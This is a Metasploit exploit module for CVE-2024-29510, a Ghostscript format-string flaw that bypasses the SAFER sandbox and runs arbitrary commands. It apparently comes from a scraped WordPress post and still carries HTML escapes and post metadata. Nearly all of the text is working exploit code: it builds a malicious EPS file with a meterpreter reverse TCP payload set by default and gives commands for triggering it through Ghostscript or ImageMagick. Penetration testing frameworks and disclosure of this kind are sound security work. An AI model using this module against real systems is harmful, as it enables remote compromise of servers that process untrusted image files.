##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Exploit<\/p>\n
Rank = ExcellentRanking<\/p>\n
include Msf::Exploit::FILEFORMAT<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Ghostscript Command Execution via Format String’,
‘Description’ => %q{
This module exploits a format string vulnerability in Ghostscript
versions before 10.03.1 to achieve a SAFER sandbox bypass and execute
arbitrary commands. This vulnerability is reachable via libraries such as
ImageMagick.<\/p>\n
This exploit only works against Ghostscript versions 10.03.0 and
10.01.2. Some offsets adjustement will probably be needed to make it
work with other versions.
},
‘Author’ => [
‘Thomas Rinsma’, # Vuln discovery and PoC
‘Christophe De La fuente’ # Metasploit module
],
‘References’ => [
[‘CVE’, ‘2024-29510’],
[‘URL’, ‘https:\/\/bugs.ghostscript.com\/show_bug.cgi?id=707662’],
[‘URL’, ‘https:\/\/codeanlabs.com\/blog\/research\/cve-2024-29510-ghostscript-format-string-exploitation\/’]],
‘DisclosureDate’ => ‘2024-03-14’,
‘License’ => MSF_LICENSE,
‘Platform’ => [‘unix’, ‘linux’, ‘win’],
‘Arch’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
‘Privileged’ => false,
‘Targets’ => [
[
‘Linux Command’,
{
‘Arch’ => ARCH_CMD,
‘Platform’ => [ ‘unix’, ‘linux’ ],
‘DefaultOptions’ => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
‘PAYLOAD’ => ‘cmd\/linux\/http\/x64\/meterpreter_reverse_tcp’
}
}
]],
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘SideEffects’ => [ARTIFACTS_ON_DISK],
‘Reliability’ => [REPEATABLE_SESSION]}
)
)<\/p>\n
register_options([
OptString.new(‘FILENAME’, [true, ‘Output Encapsulated PostScript (EPS) file’, ‘msf.eps’]),
OptInt.new(‘INDEX_OUT_PTR’, [true, ‘Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)’, 5])
])
end<\/p>\n
def exploit
xploit = template.sub(‘MSF_PAYLOAD’, payload.encoded)
xploit = xploit.sub(‘MSF_IDXOUTPTR’, datastore[‘INDEX_OUT_PTR’].to_s)<\/p>\n
file_create(xploit)
print_good(‘You will need to start a handler for the selected payload first.’)
print_good(“Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore[‘FILENAME’]}”)
print_good(“Example usage with ImageMagick: identify #{datastore[‘FILENAME’]}”)
end<\/p>\n
def template
xploit = File.read(File.join(
Msf::Config.data_directory, ‘exploits’, ‘CVE-2024-29510’, ‘ghostscript_format_string.eps’
))<\/p>\n
# Remove comments
xploit.gsub!(\/\\s*% .+$\/, ”)<\/p>\n
# Remove empty lines and lines with a single %
xploit.gsub(\/^%?$\\n\/, ”)
end<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {})super(update_info(info,‘Name’ => ‘Ghostscript Command Execution via Format String’,‘Description’ => %q{This module exploits a format string vulnerability in Ghostscriptversions before 10.03.1 to achieve a SAFER sandbox bypass and executearbitrary commands. This vulnerability is reachable via …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58369","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58369","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58369"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58369\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58369"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58369"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58369"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}